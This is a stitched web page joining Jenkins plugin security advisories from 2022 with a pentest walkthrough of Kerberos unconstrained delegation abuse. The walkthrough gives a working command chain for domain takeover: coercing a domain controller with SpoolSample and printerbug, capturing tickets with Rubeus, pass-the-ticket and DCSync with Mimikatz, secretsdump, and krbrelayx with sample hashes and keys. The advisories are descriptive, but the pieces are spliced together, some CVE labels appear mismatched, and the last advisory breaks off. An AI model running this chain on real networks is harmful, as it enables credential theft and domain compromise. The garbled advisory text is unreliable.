Jenkins Proxmox Plugin 0.5.0 and earlier stores the Proxmox Datacenter password unencrypted in the global config.xml file on the Jenkins controller where it can be viewed by users with access to the Jenkins controller file system.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   Bitbucket Server Integration Plugin
*   Continuous Integration with Toad Edge Plugin
*   Coverage/Complexity Scatter Plot Plugin
*   Flaky Test Handler Plugin
*   instant-messaging Plugin
*   JiraTestResultReporter Plugin
*   Job and Node ownership Plugin
*   Pipeline: Phoenix AutoTest Plugin
*   Proxmox Plugin
*   Proxmox Plugin
*   Proxmox Plugin
*   RocketChat Notifier Plugin
*   SiteMonitor Plugin
*   Tests Selector Plugin

**Descriptions****Stored XSS vulnerability in Bitbucket Server Integration Plugin**

**SECURITY-2639 / CVE-2022-28133**  
**Severity (CVSS):** High  
**Affected plugin: atlassian-bitbucket-server-integration**  
**Description:**

Bitbucket Server Integration Plugin 2.0.0 through 3.1.0 (inclusive) does not limit URL schemes for callback URLs on OAuth consumers.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to create BitBucket Server consumers.

Bitbucket Server Integration Plugin 3.2.0 limits allowed URL schemes to prevent creation of consumers with javascript: URL scheme.

**Missing permission checks in Bitbucket Server Integration Plugin**

**SECURITY-2640 / CVE-2022-28134**  
**Severity (CVSS):** Medium  
**Affected plugin: atlassian-bitbucket-server-integration**  
**Description:**

Bitbucket Server Integration Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to create, view, and delete BitBucket Server consumers.

Bitbucket Server Integration Plugin 3.2.0 requires Overall/System Read permission to view BitBucket Server consumers, and Overall/Administer permission to modify them.

**Passwords stored in plain text by instant-messaging Plugin**

**SECURITY-2161 / CVE-2022-28135**  
**Severity (CVSS):** Low  
**Affected plugin: instant-messaging**  
**Description:**

instant-messaging Plugin provides a framework for plugins integrating Jenkins with instant messaging services.

instant-messaging Plugin 1.41 and earlier stores passwords for group chats unencrypted in the global configuration file of plugins based on instant-messaging Plugin on the Jenkins controller.

These passwords can be viewed by users with access to the Jenkins controller file system.

instant-messaging Plugin 1.42 stores passwords for group chats encrypted once the integrating plugin’s configuration is saved again.

**CSRF vulnerability and missing permission check in JiraTestResultReporter Plugin**

**SECURITY-2236 / CVE-2022-28136 (CSRF), CVE-2022-28137 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: JiraTestResultReporter**  
**Description:**

JiraTestResultReporter Plugin 165.v817928553942 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

This form validation method requires POST requests and Overall/Administer permission in JiraTestResultReporter Plugin 166.v0cc6208295b5.

**CSRF vulnerability and missing permission check in RocketChat Notifier Plugin**

**SECURITY-2241 / CVE-2022-28138 (CSRF), CVE-2022-28139 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: rocketchatnotifier**  
**Description:**

RocketChat Notifier Plugin 1.4.10 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

RocketChat Notifier Plugin 1.5.0 requires POST requests and Overall/Administer permission for the affected form validation method.

**XXE vulnerability in Flaky Test Handler Plugin**

**SECURITY-1896 / CVE-2022-28140**  
**Severity (CVSS):** High  
**Affected plugin: flaky-test-handler**  
**Description:**

Flaky Test Handler Plugin 1.2.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers with Item/Configure permission to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Flaky Test Handler Plugin 1.2.2 disables external entity resolution for its XML parser.

**Password stored in plain text by Proxmox Plugin**

**SECURITY-2079 / CVE-2022-28141**  
**Severity (CVSS):** Low  
**Affected plugin: proxmox**  
**Description:**

Proxmox Plugin 0.5.0 and earlier stores the Proxmox Datacenter password unencrypted in the global config.xml file on the Jenkins controller as part of its configuration.

This password can be viewed by users with access to the Jenkins controller file system.

Proxmox Plugin 0.6.0 stores the Proxmox Datacenter password encrypted once its configuration is saved again.

**SSL/TLS certificate validation globally disabled by Proxmox Plugin**

**SECURITY-2081 / CVE-2022-28142**  
**Severity (CVSS):** Medium  
**Affected plugin: proxmox**  
**Description:**

Proxmox Plugin 0.6.0 and earlier disables SSL/TLS certificate validation for the entire Jenkins controller JVM when configured to ignore SSL/TLS issues.

Proxmox Plugin 0.7.0 no longer disables SSL/TLS certificate validation for the entire Jenkins controller JVM.

**CSRF vulnerability and missing permission checks in Proxmox Plugin**

**SECURITY-2082 / CVE-2022-28143 (CSRF), CVE-2022-28144 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: proxmox**  
**Description:**

Proxmox Plugin 0.7.0 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to:

*   connect to an attacker-specified host using attacker-specified username and password, performing a connection test,
    
*   disable SSL/TLS validation for the entire Jenkins controller JVM as part of the connection test (see SECURITY-2081 / CVE-2022-28142),
    
*   and test a rollback with attacker-specified parameters.
    

Additionally, these endpoints do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

Proxmox Plugin 0.7.1 requires POST requests and Overall/Administer permission for the affected HTTP endpoints.

**XSS vulnerability in Continuous Integration with Toad Edge Plugin**

**SECURITY-1892 / CVE-2022-28145**  
**Severity (CVSS):** High  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier uses a patched fork of an old version of the file browser for workspaces, archived artifacts, and userContent/ from Jenkins core (DirectoryBrowserSupport) to serve reports.

This fork removes the Content-Security-Policy header functionality introduced for SECURITY-95.

This results in a stored cross-site scripting (XSS) exploitable by attackers with Item/Configure permission or otherwise able to control report contents.

Continuous Integration with Toad Edge Plugin 2.4 uses the built-in Jenkins file browser to serve reports.

Some reports generated by this plugin rely on the ability to execute JavaScript. See the plugin’s documentation for a detailed explanation and options.

**Arbitrary file read vulnerability in Continuous Integration with Toad Edge Plugin**

**SECURITY-2633 / CVE-2022-28146**  
**Severity (CVSS):** Medium  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier allows attackers with Item/Configure permission to read arbitrary files on the Jenkins controller by specifying an input folder on the Jenkins controller as a parameter to its build steps.

Continuous Integration with Toad Edge Plugin 2.4 only allows copying files from the node the build is executing on.

**Missing permission check in Continuous Integration with Toad Edge Plugin**

**SECURITY-2635 / CVE-2022-28147**  
**Severity (CVSS):** Medium  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to check for the existence of an attacker-specified file path on the Jenkins controller file system.

Continuous Integration with Toad Edge Plugin 2.4 requires Overall/Administer permission for the affected form validation method.

**Path traversal vulnerability on Windows in Continuous Integration with Toad Edge Plugin**

**SECURITY-2654 / CVE-2022-28148**  
**Severity (CVSS):** Medium  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier uses a patched fork of an old version of the file browser for workspaces, archived artifacts, and userContent/ from Jenkins core (DirectoryBrowserSupport) to serve reports.

The fork did not receive the fix for SECURITY-2481 in Jenkins 2.315 and LTS 2.303.2.

This results in a path traversal vulnerability allowing attackers with Item/Read permission to obtain the contents of arbitrary files on Windows controllers.

Continuous Integration with Toad Edge Plugin 2.4 uses the built-in Jenkins file browser to serve reports, inheriting the fix in Jenkins core if running on a recent enough version.

**Stored XSS vulnerability in Job and Node ownership Plugin**

**SECURITY-2285 / CVE-2022-28149**  
**Severity (CVSS):** High  
**Affected plugin: ownership**  
**Description:**

Job and Node ownership Plugin 0.13.0 and earlier does not escape the names of secondary owners.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**CSRF vulnerability and missing permission check in Job and Node ownership Plugin**

**SECURITY-2062 (1) / CVE-2022-28150 (CSRF), CVE-2022-28151 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: ownership**  
**Description:**

Job and Node ownership Plugin 0.13.0 and earlier does not perform a permission check in several HTTP endpoints.

This allows attackers with Item/Read permission to change the owners and item-specific permissions of a job.

Additionally, this endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

This CSRF vulnerability is only exploitable in Jenkins 2.286 and earlier, LTS 2.277.1 and earlier. See the LTS upgrade guide.

**CSRF vulnerability in Job and Node ownership Plugin**

**SECURITY-2062 (2) / CVE-2022-28152**  
**Severity (CVSS):** Medium  
**Affected plugin: ownership**  
**Description:**

Job and Node ownership Plugin 0.13.0 and earlier does not require POST requests for an HTTP endpoint, resulting in a cross-site request forgery (CSRF) vulnerability.

This vulnerability allows attackers to restore the default ownership of a job.

**Stored XSS vulnerability in SiteMonitor Plugin**

**SECURITY-1932 / CVE-2022-28153**  
**Severity (CVSS):** High  
**Affected plugin: sitemonitor**  
**Description:**

SiteMonitor Plugin 0.6 and earlier does not escape URLs of sites to monitor in tooltips.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**XXE vulnerability in Coverage/Complexity Scatter Plot Plugin**

**SECURITY-1899 / CVE-2022-28154**  
**Severity (CVSS):** High  
**Affected plugin: covcomplplot**  
**Description:**

Coverage/Complexity Scatter Plot Plugin 1.1.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to control the input files for the 'Public Coverage / Complexity Scatter Plot' post-build step to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

**XXE vulnerability in Pipeline: Phoenix AutoTest Plugin**

**SECURITY-1897 / CVE-2022-28155**  
**Severity (CVSS):** High  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to control the input files for the readXml or writeXml build step to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

**Path traversal vulnerability in Pipeline: Phoenix AutoTest Plugin allows reading arbitrary files**

**SECURITY-2683 / CVE-2022-28156**  
**Severity (CVSS):** Medium  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier implements a Pipeline step (copy) to copy files from the running build’s directory on the Jenkins controller to an agent without sanitizing the path specified.

This allows attackers with Item/Configure permission to copy arbitrary files and directories from the Jenkins controller to the agent workspace.

**Arbitrary file read vulnerability in Pipeline: Phoenix AutoTest Plugin**

**SECURITY-2684 / CVE-2022-28157**  
**Severity (CVSS):** Medium  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier implements a Pipeline step (ftp) to upload files to an FTP server without limiting the source directory.

This allows attackers with Item/Configure permission to upload arbitrary files from the Jenkins controller via FTP to an attacker-specified FTP server.

**Missing permission checks in Pipeline: Phoenix AutoTest Plugin allow enumerating credentials IDs**

**SECURITY-2685 / CVE-2022-28158**  
**Severity (CVSS):** Medium  
**Affected plugin: phoenix-autotest**  
**Description:**

Pipeline: Phoenix AutoTest Plugin 1.3 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

**Stored XSS vulnerability in Tests Selector Plugin**

**SECURITY-2262 / CVE-2022-28159**  
**Severity (CVSS):** High  
**Affected plugin: selected-tests-executor**  
**Description:**

Tests Selector Plugin 1.3.3 and earlier does not escape the Properties File Path option for Choosing Tests parameters.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Arbitrary file read vulnerability in Tests Selector Plugin**

**SECURITY-2338 / CVE-2022-28160**  
**Severity (CVSS):** Medium  
**Affected plugin: selected-tests-executor**  
**Description:**

Tests Selector Plugin 1.3.3 and earlier allows users with Item/Configure permission to read arbitrary files on the Jenkins controller using the Choosing Tests parameter.

**Severity**

*   SECURITY-1892: High
*   SECURITY-1896: High
*   SECURITY-1897: High
*   SECURITY-1899: High
*   SECURITY-1932: High
*   SECURITY-2062 (1): Medium
*   SECURITY-2062 (2): Medium
*   SECURITY-2079: Low
*   SECURITY-2081: Medium
*   SECURITY-2082: Medium
*   SECURITY-2161: Low
*   SECURITY-2236: Medium
*   SECURITY-2241: Medium
*   SECURITY-2262: High
*   SECURITY-2285: High
*   SECURITY-2338: Medium
*   SECURITY-2633: Medium
*   SECURITY-2635: Medium
*   SECURITY-2639: High
*   SECURITY-2640: Medium
*   SECURITY-2654: Medium
*   SECURITY-2683: Medium
*   SECURITY-2684: Medium
*   SECURITY-2685: Medium

**Affected Versions**

*   **Bitbucket Server Integration Plugin** up to and including 3.1.0
*   **Continuous Integration with Toad Edge Plugin** up to and including 2.3
*   **Coverage/Complexity Scatter Plot Plugin** up to and including 1.1.1
*   **Flaky Test Handler Plugin** up to and including 1.2.1
*   **instant-messaging Plugin** up to and including 1.41
*   **JiraTestResultReporter Plugin** up to and including 165.v817928553942
*   **Job and Node ownership Plugin** up to and including 0.13.0
*   **Pipeline: Phoenix AutoTest Plugin** up to and including 1.3
*   **Proxmox Plugin** up to and including 0.5.0
*   **Proxmox Plugin** up to and including 0.6.0
*   **Proxmox Plugin** up to and including 0.7.0
*   **RocketChat Notifier Plugin** up to and including 1.4.10
*   **SiteMonitor Plugin** up to and including 0.6
*   **Tests Selector Plugin** up to and including 1.3.3

**Fix**

*   **Bitbucket Server Integration Plugin** should be updated to version 3.2.0
*   **Continuous Integration with Toad Edge Plugin** should be updated to version 2.4
*   **Flaky Test Handler Plugin** should be updated to version 1.2.2
*   **instant-messaging Plugin** should be updated to version 1.42
*   **JiraTestResultReporter Plugin** should be updated to version 166.v0cc6208295b5
*   **Proxmox Plugin** should be updated to version 0.6.0
*   **Proxmox Plugin** should be updated to version 0.7.0
*   **Proxmox Plugin** should be updated to version 0.7.1
*   **RocketChat Notifier Plugin** should be updated to version 1.5.0

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   Coverage/Complexity Scatter Plot Plugin
*   Job and Node ownership Plugin
*   Pipeline: Phoenix AutoTest Plugin
*   SiteMonitor Plugin
*   Tests Selector Plugin

Learn why we announce these issues.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-1892, SECURITY-2062 (1), SECURITY-2062 (2), SECURITY-2081, SECURITY-2082, SECURITY-2683, SECURITY-2684, SECURITY-2685
*   **Daniel Beck, CloudBees, Inc. and, independently, Long Nguyen, Viettel Cyber Security, and Marc Heyries** for SECURITY-2079
*   **Jeff Thompson, CloudBees, Inc.** for SECURITY-1896, SECURITY-1897, SECURITY-1899
*   **Justin Philip** for SECURITY-2338
*   **Kevin Guerroudj** for SECURITY-2236, SECURITY-2262, SECURITY-2285
*   **Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2633, SECURITY-2635, SECURITY-2639, SECURITY-2640
*   **Marc Heyries** for SECURITY-2241
*   **Son Nguyen (@s0nnguy3n\_)** for SECURITY-2161
*   **Wadeck Follonier, CloudBees, Inc.** for SECURITY-1932

CVE-2022-28141: Jenkins Security Advisory 2022-03-29

A cross-site request forgery (CSRF) vulnerability in Jenkins Proxmox Plugin 0.7.0 and earlier allows attackers to connect to an attacker-specified host using attacker-specified username and password (perform a connection test), disable SSL/TLS validation for the entire Jenkins controller JVM as part of the connection test (see CVE-2022-28142), and test a rollback with attacker-specified parameters.

CVE-2022-28143: Jenkins Security Advisory 2022-03-29

Jenkins Flaky Test Handler Plugin 1.2.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

CVE-2022-28140: Jenkins Security Advisory 2022-03-29

Jenkins Proxmox Plugin 0.6.0 and earlier disables SSL/TLS certificate validation globally for the Jenkins controller JVM when configured to ignore SSL/TLS issues.

CVE-2022-28142: Jenkins Security Advisory 2022-03-29

Jenkins instant-messaging Plugin 1.41 and earlier stores passwords for group chats unencrypted in the global configuration file of plugins based on Jenkins instant-messaging Plugin on the Jenkins controller where they can be viewed by users with access to the Jenkins controller file system.

CVE-2022-28135: Jenkins Security Advisory 2022-03-29

A missing permission check in Jenkins RocketChat Notifier Plugin 1.4.10 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials.

CVE-2022-28139: Jenkins Security Advisory 2022-03-29

Microsoft to support scenarios where users authenticate via Kerberos to one system and information needs to be updated on another system implemented unconstrained delegation. This… 
Continue reading → Unconstrained Delegation

Microsoft to support scenarios where users authenticate via Kerberos to one system and information needs to be updated on another system implemented unconstrained delegation. This was implemented in windows ecosystems since Windows 2000. Systems which are configured for unconstrained delegation will have the TGT (Ticket Granting Ticket) stored into LSASS memory for the purpose of enabling the user to access the end resource.

More specifically, the domain controller places a copy of the user’s TGT into the service ticket. When the user’s service ticket (TGS) is provided to the server for service access the server opens the TGS and places the user’s TGT into the LSASS for later use allowing the server to impersonate the user. Obtaining the ticket could lead to domain escalation as the ticket might belong to the machine account of the domain controller or a high privilege account like the domain administrator. For a computer to authenticate on behalf of other services (unconstrained delegation) two conditions are required:

1.  Account has the **TRUSTED\_FOR\_DELEGATION** flag in the User Account Control (UAC) flags.
2.  User account has not the **NOT\_DELEGATED** flag set which by default non domain accounts have this flag.

The following image represents a host in the Active Directory which is configured for unconstrained delegation:

Trust Computer for Delegation

**Discovery**

Identification of systems which are configured for unconstrained delegation is trivial from a PowerShell console. Executing the module “_Get-ADComputer_” and filtering the results to display the output of the property “_trustedfordelegation_” will determine whether the host which operations are performed is configured for unconstrained delegation.

Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description

Unconstrained Delegation – Retrieve Active Directory Computers

Other interesting properties that can be enumerated are the:

*   TrustedToAuthForDelegation
*   msDS-AllowedToDelegateTo
*   PrincipalsAllowedToDelegateToAccount

Get-ADComputer "Hive" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount

Unconstrained Delegation – Computer Properties

Using the same module querying the “_userAccountControl_” attribute can provide the same results.

Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Unconstrained Delegation – User Account Control

Alternatively, the “_Get-NetComputer_” module from PowerView can be used to discover hosts which are configured for unconstrained delegation.

Get-NetComputer -Unconstrained

Unconstrained Delegation – PowerView

**Coerce Authentication**

There are multiple protocols which can coerce the machine account of the domain controller to authenticate with other hosts on the system such as spoolsample and encrypting file services remote procedure call. However, capturing the ticket of the machine account requires Rubeus to run in monitor state mode.

    Rubeus.exe monitor /monitorinterval:10 /targetuser:DC$ /nowrap

Rubeus – TGT Monitoring

Execution of the printer bug will coerce the domain controller to authenticate with the workstation which is configured for unconstrained delegation.

    SpoolSample.exe dc hive

Unconstrained Delegation – SpoolSample

The ticket granting ticket (TGT) of the domain controller machine account will received and captured by Rubeus.

Rubeus – DC$ Machine Account Ticket

The ticket will be in base64 format and therefore cannot be used directly. However, from a PowerShell console execution of the command below will convert the ticket and write the contents to a file with the .kirbi extension.

\[IO.File\]::WriteAllBytes("C:\\Users\\pentestlab.PURPLE\\Desktop\\DC.kirbi", \[Convert\]::FromBase64String("Base64"))

Convert Base64 Ticket to Kirbi

Using the Pass the Ticket within Mimikatz the current user account will get high privilege rights on the domain controller. This can be verified by using the DCSync technique in order to dump the NTLM hash of the domain admin account and get command execution via pass the hash on the domain controller.

    kerberos::ptt DC.kirbi
    lsadump::dcsync /domain:purple.lab /user:Administrator

Mimikatz – Pass the Ticket

**HTTP Authentication**

it is not uncommon for administrators on the domain to use PowerShell scripts in order to perform remote tasks on hosts or construct HTTP requests which can be executed periodically in a server for business reasons. In the event that these scripts are executed under the context of elevated credentials Kerberos tickets can also generated and extracted from the LSASS process for domain escalation.

    Invoke-WebRequest http://ca.purple.lab -UseDefaultCredentials -UseBasicParsing

HTTP Request

The ticket of the administrator account will be cached into the memory of the LSASS process. Mimikatz can interact with this process and has a specific module which will attempt to retrieve cached tickets.

    privilege::debug
    sekurlsa::tickets

Unconstrained Delegation – Administrator TGT

Tickets can be exported locally by executing the command below directly from Mimikatz.

    sekurlsa::tickets /export

Mimikatz – Export Administrator Ticket

The triage action of Rubeus will display in a table the available Kerberos tickets which are stored in memory and their associated service.

    Rubeus triage

Rubeus – Triage

Since a ticket which belongs to the domain administrator exists in cache, executing the command below will dump all the tickets for that user.

    Rubeus.exe dump /user:Administrator

Rubeus – Dump Administrator Ticket

Rubeus – Dump Ticket

The ticket of the domain administrator can be used on the current system or transferred to another host in order to be used with Mimikatz or Rubeus that support importing Kerberos tickets into memory.

    kerberos::ptt C:\Users\pentestlab.PURPLE\Administrator@krbtgt-PURPLE.LAB.kirbi

Mimikatz – Pass the Ticket

Executing “_klist_” will validate that the ticket was cached in memory of the current session.

    klist

List Kerberos Ticket

Using the ticket access to the domain controller has been achieved and can be confirmed by listing the contents of the C: drive.

    dir \\dc.purple.lab\C$

DC Access

**Non-Domain Joined**

As with the majority of the techniques which include Kerberos abuse, unconstrained delegation can be conducted from a non domain joined systems as supporting tooling to replicate the steps performed above exists. Impacket has a python script which can be used to identify systems on the domain which are configured for delegation if valid domain credentials are supplied.

    python3 findDelegation.py purple.lab/pentestlab:Password1234

Unconstrained Delegation – Impacket

Once administrative access has been achieved Impacket module “_secretsdump_” can be used to retrieve the NTLM hash of the machine account which its host is configured for unconstrained delegation.

    secretsdump.py Administrator@hive.purple.lab

Secretsdump

Secretsdump – Machine Account hashes

The krbrelayx is a set of python tools which was developed by Dirk-Jan Mollema and can be utilized to abuse unconstrained delegation effectively from Linux based systems. Using the NTLM hash of the machine account (HIVE$) to authenticate with the active directory with the “_addspn_” python script to bind to the domain controller and retrieve information about the modification target.

    python3 addspn.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -s HOST/kali.purple.lab -q dc.purple.lab

krbrelayx – addspn

Using the same command with the “_–additional_” flag the service principal name of the machine account will modified via the “_msDS-AdditionalDnsHostName_” attribute to include the “HOST/kali.purple.lab” service principal name.

    python3 addspn.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -s HOST/kali.purple.lab dc.purple.lab --additional

SPN Modification

Coercing the machine account of the domain controller to authenticate with the host require the DNS name and not the IP address. Since the attack will executed from a non domain joined host the DNS server will not have any DNS record. However, utilizing the “_dnstool_” will add a DNS record on the domain controller for the host by executing the command below:

    python3 dnstool.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -r kali.purple.lab -d 10.0.0.3 --action add dc.purple.lab

Unconstrained Delegation – DNS Record

Similarly the DNS record can be added on the domain controller by creating an A record to resolve 10.0.0.3 (Kali IP address) to “_kali2.purple.lab_“.

    python3 dnstool.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -r kali2.purple.lab -a add -t A -d 10.0.0.3 10.0.0.1

krbrelayx – DNS Record

Executing “_nslookup_” will validate the DNS entry and that the host now resolves to “_kali1.purple.lab_“.

    nslookup kali1.purple.lab 10.0.0.1

nslookup

The “_krbrelayx_” can take the AES key of the machine account that was dumped earlier in order to be used for Kerberos authentication. Two listeners will be created by default SMB and HTTP.

    sudo python3 krbrelayx.py -aesKey b4dc28d2ec920d4f87bc1d610f2b6e8e1114aec5135797482020893b3aad03c6

krbrelayx – Listeners

The next step is to coerce the machine account of the domain controller to authenticate with the host which the listeners are running. The printer bug (SpoolSample) or PetitPotam can be used using the NTLM hash of the machine account which is configured for unconstrained delegation and the host name which the listeners are running.

    python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 purple.lab/Hive\$@dc.purple.lab kali.purple.lab

krbrelayx – PrinterBug

Once the authentication is triggered the ticket of the domain controller machine account will retrieved and saved in the cache of the host. This is because the authentication of the domain controller to the arbitrary host will performed using Kerberos authentication. Since the ticket belongs to an elevated account of the domain controller domain escalation has been achieved and domain hashes could be retrieved via the DCSync technique.

krbrelayx – Kerberos Ticket

**References**

*   https://adsecurity.org/?p=1667

**Post navigation**

Unconstrained Delegation

Jenkins Extended Choice Parameter Plugin 346.vd87693c5a_86c and earlier allows attackers with Item/Configure permission to read values from arbitrary JSON and Java properties files on the Jenkins controller.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   AWS Credentials Plugin
*   Dashboard View Plugin
*   dbCharts Plugin
*   Environment Dashboard Plugin
*   Extended Choice Parameter Plugin
*   Favorite Plugin
*   Folder-based Authorization Strategy Plugin
*   GitLab Authentication Plugin
*   global-build-stats Plugin
*   incapptic connect uploader Plugin
*   kubernetes-cd Plugin
*   List Git Branches Parameter Plugin
*   Parameterized Trigger Plugin
*   Release Helper Plugin
*   Semantic Versioning Plugin
*   Vmware vRealize CodeStream Plugin

**Descriptions****Sensitive parameter values captured in build metadata files by Parameterized Trigger Plugin**

**SECURITY-2185 / CVE-2022-27195**  
**Severity (CVSS):** Low  
**Affected plugin: parameterized-trigger**  
**Description:**

Parameterized Trigger Plugin 2.43 and earlier captures environment variables passed to builds triggered using Parameterized Trigger Plugin, including password parameter values, in their build.xml files. These values are stored unencrypted and can be viewed by users with access to the Jenkins controller file system.

Parameterized Trigger Plugin 2.43.1 does not store captured environment variables in build.xml files.

Existing build.xml files are not automatically updated to remove captured environment variables. They need to be manually cleaned up. To help with this, the plugin will report environment variables stored in build.xml as unloadable data in the Old Data Monitor, that allows discarding this data. Build records are only loaded from disk when needed however, so some builds stored in Jenkins may not immediately appear there.

**Stored XSS vulnerability in Favorite Plugin**

**SECURITY-2557 / CVE-2022-27196**  
**Severity (CVSS):** High  
**Affected plugin: favorite**  
**Description:**

Favorite Plugin 2.4.0 and earlier does not escape the names of jobs in the favorite column.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure or Item/Create permissions.

Favorite Plugin 2.4.1 escapes the names of jobs in the favorite column.

**Stored XSS vulnerability in Dashboard View Plugin**

**SECURITY-2559 / CVE-2022-27197**  
**Severity (CVSS):** High  
**Affected plugin: dashboard-view**  
**Description:**

Dashboard View Plugin 2.18 and earlier does not perform URL validation for the Iframe Portlet’s Iframe source URL.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to configure views.

Dashboard View Plugin 2.18.1 performs URL validation for the Iframe Portlet’s Iframe source URL.

Additionally, Dashboard View Plugin 2.18.1 sets the sandbox attribute for the iframe to restrict the included page.

In case of problems, the Java system property hudson.plugins.view.dashboard.core.IframePortlet.sandboxAttributeValue can be used to customize the sandbox attribute value. The Java system property hudson.plugins.view.dashboard.core.IframePortlet.doNotUseSandbox can be used to disable the sandbox completely.

**CSRF vulnerability and missing permission checks in AWS Credentials Plugin**

**SECURITY-2351 / CVE-2022-27198 (CSRF), CVE-2022-27199 (permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: aws-credentials**  
**Description:**

AWS Credentials Plugin 189.v3551d5642995 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an AWS service using an attacker-specified token.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

This form validation method requires POST requests and Overall/Administer permission in AWS Credentials Plugin 191.vcb\_f183ce58b\_9.

**Stored XSS vulnerability in Folder-based Authorization Strategy Plugin**

**SECURITY-2646 / CVE-2022-27200**  
**Severity (CVSS):** Medium  
**Affected plugin: folder-auth**  
**Description:**

Folder-based Authorization Strategy Plugin 1.3 and earlier does not escape the names of roles shown on the configuration form.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Overall/Administer permission.

Folder-based Authorization Strategy Plugin 1.4 escapes the names of roles shown on the configuration form.

**Agent-to-controller security bypass in Semantic Versioning Plugin**

**SECURITY-2124 / CVE-2022-27201**  
**Severity (CVSS):** High  
**Affected plugin: semantic-versioning-plugin**  
**Description:**

Semantic Versioning Plugin defines a controller/agent message that processes a given file as XML and returns version information. The XML parser is not configured to prevent XML external entity (XXE) attacks, which is only a problem if XML documents are parsed on the Jenkins controller.

Semantic Versioning Plugin 1.13 and earlier does not restrict execution of the controller/agent message to agents, and implements no limitations about the file path that can be parsed. This allows attackers able to control agent processes to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

This vulnerability is only exploitable in Jenkins 2.318 and earlier, LTS 2.303.2 and earlier. See the LTS upgrade guide.

Semantic Versioning Plugin 1.14 does not allow the affected controller/agent message to be submitted by agents for execution on the controller.

**Stored XSS vulnerability in Extended Choice Parameter Plugin**

**SECURITY-2232 / CVE-2022-27202**  
**Severity (CVSS):** High  
**Affected plugin: extended-choice-parameter**  
**Description:**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier does not escape the value and description of Extended Choice Parameters with parameter type 'Radio Buttons' or 'Check Boxes'.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Arbitrary JSON and property file read vulnerability in Extended Choice Parameter Plugin**

**SECURITY-1351 / CVE-2022-27203**  
**Severity (CVSS):** Medium  
**Affected plugin: extended-choice-parameter**  
**Description:**

